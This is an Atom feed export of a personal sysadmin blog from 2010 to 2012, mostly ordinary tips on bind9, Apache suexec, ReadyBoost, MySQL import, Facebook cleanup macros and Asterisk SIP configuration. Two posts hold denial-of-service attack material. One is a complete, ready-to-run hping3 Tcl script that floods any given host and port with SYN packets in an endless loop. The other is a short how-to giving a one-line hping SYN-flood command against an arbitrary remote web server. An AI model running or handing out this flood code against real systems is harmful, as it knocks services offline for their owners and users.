<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7730149933083170390</id><updated>2012-02-26T13:03:27.949-08:00</updated><title type='text'>Simple Technology, LLC Blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>32</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-8040948684935761150</id><published>2012-01-31T11:56:00.000-08:00</published><updated>2012-01-31T11:57:18.290-08:00</updated><title type='text'>clear facebook timeline script / clean facebook timeline wall / clean facebook wall</title><content type='html'>clear facebook timeline script / clean facebook timeline wall / clean facebook wall&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://astojanov.wordpress.com/2012/01/02/facebook-timeline-automatically-delete-all-status-updates-wall-posts-comments-ever-made/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-8040948684935761150?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/8040948684935761150/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2012/01/clear-facebook-timeline-script-clean.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/8040948684935761150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/8040948684935761150'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2012/01/clear-facebook-timeline-script-clean.html' title='clear facebook timeline script / clean facebook timeline wall / clean facebook wall'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-8363132525236248775</id><published>2011-12-04T23:10:00.000-08:00</published><updated>2011-12-04T23:11:18.532-08:00</updated><title type='text'>super computer clustering</title><content type='html'>By tomorrow, or the next day, I will have a 4 cluster Debian Linux network running with fail over load balancer I built, and then once that's done, I'm going to build a SAN/NAS with Debian on another machine, and then use DRBD with an ocfs2 file system on it for supreme synchronization. I wish the damned flooding in Taiwan didn't jack up prices of hard drives so much though, so I could get that NAS/SAN's SATA drives cheaper. :( I'm also monitoring my network via the load balancer with Gangila, and Corosync/Pacemaker now, too.&lt;br /&gt;&lt;br /&gt;BOOOO YAHHHH!!!!!!!!!!!!!!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Plus, all my webmin/usermin shit is linked together in a cluster formation, too. Sweeeeetnesssss.........&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, if I had like 2,000 machines, I could build a super cluster ( cloud ), super computer. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-8363132525236248775?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.simpletechnology.us' title='super computer clustering'/><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/8363132525236248775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/12/super-computer-clustering.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/8363132525236248775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/8363132525236248775'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/12/super-computer-clustering.html' title='super computer clustering'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-5038793096858669501</id><published>2011-07-25T10:51:00.001-07:00</published><updated>2011-07-25T10:51:44.257-07:00</updated><title type='text'>synflood script</title><content type='html'># (c) GPL2 fluxist(at)gmail.com&lt;br /&gt;# Usage; hping3 exec ./synflood.htcl &lt;hostname&gt; &lt;dstport&gt;&lt;br /&gt;&lt;br /&gt;if {$argc &lt; 2} {&lt;br /&gt;  puts "Required arguments: hostname dstport"&lt;br /&gt;  exit 1&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;foreach {hostname port} $argv break&lt;br /&gt;set srcport 14000&lt;br /&gt;set target [hping resolve $hostname]&lt;br /&gt;set myaddr [hping outifa $target]&lt;br /&gt;&lt;br /&gt;puts "Synflooding $target..."&lt;br /&gt;&lt;br /&gt;while {1} {&lt;br /&gt;  hping send "ip(saddr=$myaddr,daddr=$target)+tcp(sport=$srcport,dport=$port,flags=s)"&lt;br /&gt;  }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-5038793096858669501?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/5038793096858669501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/07/synflood-script.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5038793096858669501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5038793096858669501'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/07/synflood-script.html' title='synflood script'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-5172965639496394901</id><published>2011-07-04T19:33:00.001-07:00</published><updated>2011-07-04T19:33:50.817-07:00</updated><title type='text'>How to check bind9 config.</title><content type='html'>Check bind9 config with the following command; named-checkconf -z&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-5172965639496394901?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/5172965639496394901/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/07/how-to-check-bind9-config.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5172965639496394901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5172965639496394901'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/07/how-to-check-bind9-config.html' title='How to check bind9 config.'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-3973897796181587211</id><published>2011-06-24T04:40:00.001-07:00</published><updated>2011-06-24T04:40:17.683-07:00</updated><title type='text'></title><content type='html'>Warning: Malicious use of SYN-floods are punishable by law.&lt;br /&gt;&lt;br /&gt;This post shows howto to establish a synflood attack on an arbitrary remote host. The attack is performed using hping, which is free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de facto tools for security auditing and testing of firewalls and networks. A syn-flood attack is basically a DOS-attack on a bug in TCP – some will argue that TCP is defective by design ;)&lt;br /&gt;&lt;br /&gt;The actual attack is initialized by this command:&lt;br /&gt;&lt;br /&gt;hping -i u1 -S -p 80 dst-host-or-ip&lt;br /&gt;&lt;br /&gt;In most cases DoS attacks like this one renders a webserver totally unable to serve any requests from users.&lt;br /&gt;&lt;br /&gt;To get hping installed on a Debian or Ubuntu-based system, type this to install:&lt;br /&gt;&lt;br /&gt;aptitude install hping2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-3973897796181587211?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/3973897796181587211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/06/warning-malicious-use-of-syn-floods-are.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/3973897796181587211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/3973897796181587211'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/06/warning-malicious-use-of-syn-floods-are.html' title=''/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-5048990683529169039</id><published>2011-05-13T11:17:00.000-07:00</published><updated>2011-05-13T11:18:33.459-07:00</updated><title type='text'>Windows Server 2008 R2 remoteapp printer redirection</title><content type='html'>To setup Windows Server 2008 R2 remoteapp printer redirection is her; http://social.technet.microsoft.com/Forums/en/winserverTS/thread/2551c41c-7c81-4809-b993-c97bbbe7b6f9&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-5048990683529169039?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/5048990683529169039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/05/windows-server-2008-r2-remoteapp.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5048990683529169039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5048990683529169039'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/05/windows-server-2008-r2-remoteapp.html' title='Windows Server 2008 R2 remoteapp printer redirection'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-1763809402888536470</id><published>2011-01-19T03:31:00.001-08:00</published><updated>2011-01-19T03:31:24.864-08:00</updated><title type='text'>Suexec is enabled in the default template, but the suexec command was not found on your system.</title><content type='html'>PROBLEM with virtualmin:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Suexec is enabled in the default template, but the suexec command was not found on your system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HOW TO FIX:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;apt-get install apache2-suexec-custom&lt;br /&gt;cd /etc/apache2/suexec&lt;br /&gt;vi www-data&lt;br /&gt;replace the line "/var/www" with "/home" (without "" )&lt;br /&gt;restart apache&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-1763809402888536470?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/1763809402888536470/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/01/suexec-is-enabled-in-default-template.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/1763809402888536470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/1763809402888536470'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/01/suexec-is-enabled-in-default-template.html' title='Suexec is enabled in the default template, but the suexec command was not found on your system.'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-947123953968586556</id><published>2011-01-09T21:33:00.000-08:00</published><updated>2011-01-09T21:35:15.908-08:00</updated><title type='text'>Windows 7 readyboost used to work, and not doesn't.</title><content type='html'>Windows 7 readyboost used to work, and now doesn't work anymore?&lt;br /&gt;&lt;br /&gt;Try this:&lt;br /&gt;&lt;br /&gt;edit the registry, back up first!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remove all the sub values (they look like folders) that are there. They usually are in the form:&lt;br /&gt;&lt;br /&gt;_??_USBSTOR#Disk&amp;Ven_Multi&amp;Prod_Flash_Reader&amp;Rev_1.00#058F0O1111B&amp;0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}BOOST_1517140716]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You may have several of these.&lt;br /&gt;&lt;br /&gt;Then re-insert the flash memory stick.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Re-open regedit and change the following values in the memory stick settings Vista has just created.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"CacheSizeInMB"=dword:000003c0&lt;br /&gt;"CacheStatus"=dword:00000001&lt;br /&gt;&lt;br /&gt;"DeviceStatus"=dword:00000002&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then close regedit and right-click the memory stick drive from "my computer". Go to the ReadyBoost tab and set the cache size as you like.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That's it. Enjoy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-947123953968586556?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/947123953968586556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/01/windows-7-readyboost-used-to-work-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/947123953968586556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/947123953968586556'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2011/01/windows-7-readyboost-used-to-work-and.html' title='Windows 7 readyboost used to work, and not doesn&apos;t.'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-7828914707264440124</id><published>2010-11-24T14:00:00.000-08:00</published><updated>2010-11-24T14:01:33.053-08:00</updated><title type='text'>Import mysql database command line</title><content type='html'>Have an issue with your mysql database being too large to import through phpmyadmin? You can run this command and import for the command line!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mysql -u username -p -h localhost data-base-name &lt; data.sql&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-7828914707264440124?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/7828914707264440124/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/import-mysql-database-command-line.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/7828914707264440124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/7828914707264440124'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/import-mysql-database-command-line.html' title='Import mysql database command line'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-2952959386437694764</id><published>2010-11-16T20:30:00.000-08:00</published><updated>2010-11-16T20:31:14.887-08:00</updated><title type='text'>find and replace file contents in debian</title><content type='html'>find and replace file contents in debian&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;`find /home/seanbrady/public_html/clients  -name \*.\* -exec sed -i 's/\&amp;new/new/g' {} \;`&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-2952959386437694764?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/2952959386437694764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/find-and-replace-file-contents-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/2952959386437694764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/2952959386437694764'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/find-and-replace-file-contents-in.html' title='find and replace file contents in debian'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-4980194475355787705</id><published>2010-11-06T20:06:00.001-07:00</published><updated>2010-11-06T20:06:27.112-07:00</updated><title type='text'>Delete all facebook groups</title><content type='html'>Want to delete all your facebook groups? Simply create, and run a macro:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VERSION BUILD=6111228 RECORDER=FX &lt;– note that this line will be different if you have a different version of imacros&lt;br /&gt;TAB T=1&lt;br /&gt;SET !ERRORIGNORE YES&lt;br /&gt;SET !TIMEOUT 100&lt;br /&gt;SET !DIALOGMANAGER NO&lt;br /&gt;TAG POS=1 TYPE=A ATTR=TXT:Leave&lt;SP&gt;Group&lt;br /&gt;TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:remove&amp;&amp;VALUE:Remove&lt;br /&gt;WAIT SECONDS=2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-4980194475355787705?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/4980194475355787705/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/delete-all-facebook-groups.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/4980194475355787705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/4980194475355787705'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/delete-all-facebook-groups.html' title='Delete all facebook groups'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-4711935466141314255</id><published>2010-11-06T20:05:00.001-07:00</published><updated>2010-11-06T20:05:32.853-07:00</updated><title type='text'>Delete all facebook wall posts</title><content type='html'>If you want to delete all facebook wall posts; simple make a macro script:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VERSION BUILD=6111228 RECORDER=FX&lt;br /&gt;TAB T=1&lt;br /&gt;SET !ERRORIGNORE YES&lt;br /&gt;SET !TIMEOUT 100&lt;br /&gt;SET !DIALOGMANAGER NO&lt;br /&gt;TAG POS=1 TYPE=SPAN ATTR=TXT:Remove&lt;br /&gt;TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&amp;&amp;VALUE:Delete&lt;br /&gt;WAIT SECONDS=3&lt;br /&gt;TAG POS=1 TYPE=SPAN ATTR=TXT:Remove&lt;br /&gt;TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&amp;&amp;VALUE:Delete&lt;br /&gt;WAIT SECONDS=3&lt;br /&gt;TAG POS=1 TYPE=SPAN ATTR=TXT:Remove&lt;br /&gt;TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&amp;&amp;VALUE:Delete&lt;br /&gt;WAIT SECONDS=3&lt;br /&gt;TAG POS=1 TYPE=SPAN ATTR=TXT:Remove&lt;br /&gt;TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&amp;&amp;VALUE:Delete&lt;br /&gt;WAIT SECONDS=3&lt;br /&gt;TAG POS=1 TYPE=SPAN ATTR=TXT:Remove&lt;br /&gt;TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&amp;&amp;VALUE:Delete&lt;br /&gt;WAIT SECONDS=3&lt;br /&gt;REFRESH&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-4711935466141314255?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/4711935466141314255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/delete-all-facebook-wall-posts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/4711935466141314255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/4711935466141314255'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/delete-all-facebook-wall-posts.html' title='Delete all facebook wall posts'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-424293193130179066</id><published>2010-11-05T00:08:00.000-07:00</published><updated>2010-11-05T00:09:29.389-07:00</updated><title type='text'>How to invite all friends facebook. Send request to all friends facebook.</title><content type='html'>Easy. When you have the friends window open. Enter this into your brower's address bar, and press enter, and wait. Then, send your requests.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;javascript:elms=document.getElementById('friends').getElementsByTagName('li');for(var fid in elms){if(typeof elms[fid] === 'object'){fs.click(elms[fid]);}}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-424293193130179066?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/424293193130179066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/how-to-invite-all-friends-facebook-send.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/424293193130179066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/424293193130179066'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/11/how-to-invite-all-friends-facebook-send.html' title='How to invite all friends facebook. Send request to all friends facebook.'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-1035358059784236576</id><published>2010-09-12T21:30:00.000-07:00</published><updated>2010-09-12T21:36:40.717-07:00</updated><title type='text'>Asterisk + Vonage configuration file</title><content type='html'>Here is my current Asterisk + Vonage configuration for a SIP setup with 2 soft phones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SIP.conf ---------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; SIP Configuration example for Asterisk&lt;br /&gt;;&lt;br /&gt;; SIP dial strings&lt;br /&gt;;-----------------------------------------------------------&lt;br /&gt;; In the dialplan (extensions.conf) you can use several &lt;br /&gt;; syntaxes for dialing SIP devices.&lt;br /&gt;;        SIP/devicename&lt;br /&gt;;        SIP/username@domain   (SIP uri)&lt;br /&gt;;        SIP/username[:password[:md5secret[:authname[:transport]]]]@host[:port]&lt;br /&gt;;        SIP/devicename/extension&lt;br /&gt;;&lt;br /&gt;;&lt;br /&gt;; Devicename&lt;br /&gt;;        devicename is defined as a peer in a section below.&lt;br /&gt;;&lt;br /&gt;; username@domain&lt;br /&gt;;        Call any SIP user on the Internet&lt;br /&gt;;        (Don't forget to enable DNS SRV records if you want to use this)&lt;br /&gt;; &lt;br /&gt;; devicename/extension&lt;br /&gt;;        If you define a SIP proxy as a peer below, you may call&lt;br /&gt;;        SIP/proxyhostname/user or SIP/user@proxyhostname &lt;br /&gt;;        where the proxyhostname is defined in a section below &lt;br /&gt;;        This syntax also works with ATA's with FXO ports&lt;br /&gt;;&lt;br /&gt;; SIP/username[:password[:md5secret[:authname]]]@host[:port]&lt;br /&gt;;        This form allows you to specify password or md5secret and authname&lt;br /&gt;;        without altering any authentication data in config.&lt;br /&gt;;        Examples:&lt;br /&gt;;&lt;br /&gt;;        SIP/*98@mysipproxy&lt;br /&gt;;        SIP/sales:topsecret::account02@domain.com:5062&lt;br /&gt;;        SIP/12345678::bc53f0ba8ceb1ded2b70e05c3f91de4f:myname@192.168.0.1&lt;br /&gt;;&lt;br /&gt;; All of these dial strings specify the SIP request URI.&lt;br /&gt;; In addition, you can specify a specific To: header by adding an&lt;br /&gt;; exclamation mark after the dial string, like&lt;br /&gt;;&lt;br /&gt;;         SIP/sales@mysipproxy!sales@edvina.net&lt;br /&gt;;&lt;br /&gt;; CLI Commands&lt;br /&gt;; -------------------------------------------------------------&lt;br /&gt;; Useful CLI commands to check peers/users:&lt;br /&gt;;   sip show peers               Show all SIP peers (including friends)&lt;br /&gt;;   sip show registry            Show status of hosts we register with&lt;br /&gt;;&lt;br /&gt;;   sip set debug on             Show all SIP messages&lt;br /&gt;;&lt;br /&gt;;   module reload chan_sip.so    Reload configuration file&lt;br /&gt;;&lt;br /&gt;;------- Naming devices ------------------------------------------------------&lt;br /&gt;;&lt;br /&gt;; When naming devices, make sure you understand how Asterisk matches calls&lt;br /&gt;; that come in.&lt;br /&gt;; 1. Asterisk checks the SIP From: address username and matches against&lt;br /&gt;;    names of devices with type=user &lt;br /&gt;;    The name is the text between square brackets [name]&lt;br /&gt;; 2. Asterisk checks the From: addres and 